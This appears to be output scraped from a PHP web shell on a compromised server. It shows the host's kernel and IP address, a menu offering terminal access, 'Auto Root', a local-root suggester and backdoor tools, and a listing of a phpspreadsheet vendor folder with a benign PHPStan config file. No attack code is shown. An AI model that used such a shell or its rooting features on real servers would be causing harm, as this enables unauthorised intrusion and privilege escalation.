Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.145.158.137
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
phpoffice /
phpspreadsheet /
Delete
Unzip
Name
Size
Permission
Date
Action
src
[ DIR ]
drwxrwxr-x
2023-06-14 22:48
.php-cs-fixer.dist.php
10.82
KB
-rw-rw-r--
2023-06-14 22:48
.phpcs.xml.dist
752
B
-rw-rw-r--
2023-06-14 22:48
CHANGELOG.md
109.68
KB
-rw-rw-r--
2023-06-14 22:48
CONTRIBUTING.md
3.06
KB
-rw-rw-r--
2023-06-14 22:48
LICENSE
1.05
KB
-rw-rw-r--
2023-06-14 22:48
README.md
6.51
KB
-rw-rw-r--
2023-06-14 22:48
composer.json
3.71
KB
-rw-rw-r--
2023-06-14 22:48
phpstan-baseline.neon
1.05
KB
-rw-rw-r--
2023-06-14 22:48
phpstan-conditional.php
4
KB
-rw-rw-r--
2023-06-14 22:48
phpstan.neon.dist
1.34
KB
-rw-rw-r--
2023-06-14 22:48
phpunit10.xml.dist
617
B
-rw-rw-r--
2023-06-14 22:48
Save
Rename
<?php $config = []; if (PHP_VERSION_ID < 80000) { // GdImage not available before PHP8 $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Method .* has invalid return type GdImage\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Shared/Drawing.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Property .* has unknown class GdImage as its type\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Method .* has invalid return type GdImage\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Parameter .* of method .* has invalid type GdImage\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Class GdImage not found\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Writer/Xls/Worksheet.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '~^Parameter .* of method .* has invalid type GdImage\.$~', 'path' => __DIR__ . '/src/PhpSpreadsheet/Writer/Xls/Worksheet.php', 'count' => 1, ]; // GdImage with Phpstan 1.9.2 $config['parameters']['ignoreErrors'][] = [ 'message' => '~Class GdImage not found.*$~', 'path' => __DIR__ . '/tests/PhpSpreadsheetTests/Worksheet/MemoryDrawingTest.php', 'count' => 3, ]; // Erroneous analysis by Phpstan before PHP8 - 3rd parameter is nullable // Fixed for Php7 with Phpstan 1.9. //$config['parameters']['ignoreErrors'][] = [ // 'message' => '#^Parameter \\#3 \\$namespace of method XMLWriter\\:\\:startElementNs\\(\\) expects string, null given\\.$#', // 'path' => __DIR__ . '/src/PhpSpreadsheet/Writer/Xlsx/Worksheet.php', // 'count' => 8, //]; // Erroneous analysis by Phpstan before PHP8 - mb_strlen does not return false $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Method PhpOffice\\\\PhpSpreadsheet\\\\Shared\\\\StringHelper\\:\\:countCharacters\\(\\) should return int but returns int(<0, max>)?\\|false\\.$#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Shared/StringHelper.php', 'count' => 1, ]; // New with Phpstan 1.9.2 for Php7 only $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Parameter \\#2 \\.\\.\\.\\$args of function array_merge expects array, array<int, mixed>\\|false given.$#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Calculation/LookupRef/Sort.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Parameter \\#1 \\$input of function array_chunk expects array, array<int, float\\|int>\\|false given.$#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Calculation/MathTrig/MatrixFunctions.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Parameter \\#2 \\$array of function array_map expects array, array<int, float|int>\\|false given.$#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Calculation/MathTrig/Random.php', 'count' => 1, ]; $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Parameter \\#2 \\.\\.\\.\\$args of function array_merge expects array, array<int, mixed>\\|false given.$#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Calculation/TextData/Text.php', 'count' => 1, ]; } else { // Flagged in Php8+ - unsure how to correct code $config['parameters']['ignoreErrors'][] = [ 'message' => '#^Binary operation "/" between float and array[|]float[|]int[|]string results in an error.#', 'path' => __DIR__ . '/src/PhpSpreadsheet/Calculation/MathTrig/Combinations.php', 'count' => 1, ]; } return $config;